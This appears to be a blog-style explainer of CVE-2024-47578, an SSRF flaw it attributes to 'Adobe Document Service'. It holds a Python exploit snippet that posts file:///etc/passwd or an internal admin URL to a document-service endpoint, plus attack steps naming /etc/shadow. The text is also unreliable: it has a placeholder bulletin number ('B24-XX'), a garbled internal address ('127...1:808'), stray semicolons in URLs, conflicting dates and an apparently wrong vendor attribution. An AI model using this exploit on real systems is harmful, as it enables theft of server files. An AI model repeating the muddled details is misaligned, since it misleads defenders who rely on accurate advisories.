CVE-2024-47578 - How Adobe Document Service Can Expose Your Internal Network via SSRF

In early 2024, a major vulnerability (CVE-2024-47578) was uncovered in the Adobe Document Service. This flaw allows an attacker with admin privileges to make the vulnerable application send crafted requests to other systems inside the company’s network or even touch sensitive files. The attack abuses something called Server-Side Request Forgery (SSRF). Let’s break down in plain English what this means, how it can hurt your business, and what to watch out for. We’ll also look at a code snippet that demonstrates the exploit, and link you to more resources.

What is CVE-2024-47578?

Adobe Document Service is a widely used component in many web applications for processing documents like PDFs.
CVE-2024-47578 exposes a way for an attacker—once they have admin rights—to tell Adobe Document Service to make any network request *it* wants on their behalf. Normally, even with admin rights, attackers can’t always reach your inner servers or read sensitive files behind firewalls. But with this bug, they can.

In Plain Terms

Think of your web app as a receptionist at the front desk. The attacker walks in (as admin), tells the receptionist (the Adobe Document Service) to fetch a file from the secret server room, or even delete all your files. The receptionist doesn't ask questions and just does it.

Technical Details and SSRF

Server-Side Request Forgery (SSRF) happens when a web application fetches data from a location given by the user, but doesn’t check whether that location is safe. The attacker can point the service at machines inside your private network, or even files on your server.

CVE-2024-47578 is an SSRF issue because instead of sending requests to safe, external addresses, Adobe Document Service can be tricked into connecting to (and possibly reading or writing files on) systems deep inside your infrastructure.

Requirements

- The attacker must already have administrator privileges in the web application using Adobe Document Service.

Steps in the Attack

1. Login as Admin: The attacker successfully logs in or escalates privileges to Admin on the vulnerable web app.
2. Send Malicious Request: They abuse a function in Adobe Document Service that lets admins input a file path or URL. They craft a special request pointing to:
- An internal address (e.g., http://localhost/admin)
- A file on the server (e.g., file:///etc/shadow)
3. Read/Modify Files: If the service fetches and returns the file, the attacker can read secret information, including passwords or private keys.
4. Denial of Service: By requesting certain system files (or slow/endless URLs), attackers can tie up the Adobe Document Service, crashing or freezing it.

Sample Exploit Code

Here’s a Python snippet demonstrating how an attacker might exploit this vulnerability through a web form that takes a document URL:

import requests

# Admin authentication required: attacker should be logged in
session = requests.Session()
session.post('https://target-app.local/login';, data={'user':'admin','pass':'adminpassword'})

# SSRF: tell Adobe Document Service to "open" /etc/passwd or hit an internal admin system
ssrf_payload = "file:///etc/passwd"
# OR: "http://127...1:808/internal-admin";

resp = session.post('https://target-app.local/document-service/open';, data={
    'document_url': ssrf_payload
})

if resp.status_code == 200:
    print("SSRF exploited! Here's the sensitive data:\n")
    print(resp.text)
else:
    print("Exploit failed, check permissions.")

> ⚠️ This is for educational/research lab usage only. Never attack systems without explicit permission.

What Can Go Wrong If Exploited?

- Read Confidential Files: For example, /etc/passwd, database credentials, encryption keys.
- Attack Other Internal Services: Tap into internal-only web apps, or leapfrog deeper into the network.
- Make the Application Unavailable: Tie up resources until the service crashes, i.e., Denial of Service (DoS).

How To Defend

1. Patch promptly: Adobe has released a security advisory & updates (check for exact bulletin number).
2. Validate Inputs: Strictly limit what URLs/paths admin users can access.

References

- NVD Entry for CVE-2024-47578
- Adobe Security Bulletin (APS)B24-XX
- SSRF Explained
- SSR**F Mitigations

Final Notes

CVE-2024-47578 is abuse-friendly once you have an admin foothold, especially in environments that trust Adobe Document Service too much. If you run any version affected by this bug, update immediately and audit admin activities for suspicious file or network accesses via the document viewer.

Stay safe, stay patched!

*If you found this useful, consider sharing with your security teams or following up with the original CVE description.*

Timeline

Published on: 12/10/2024 01:15:05 UTC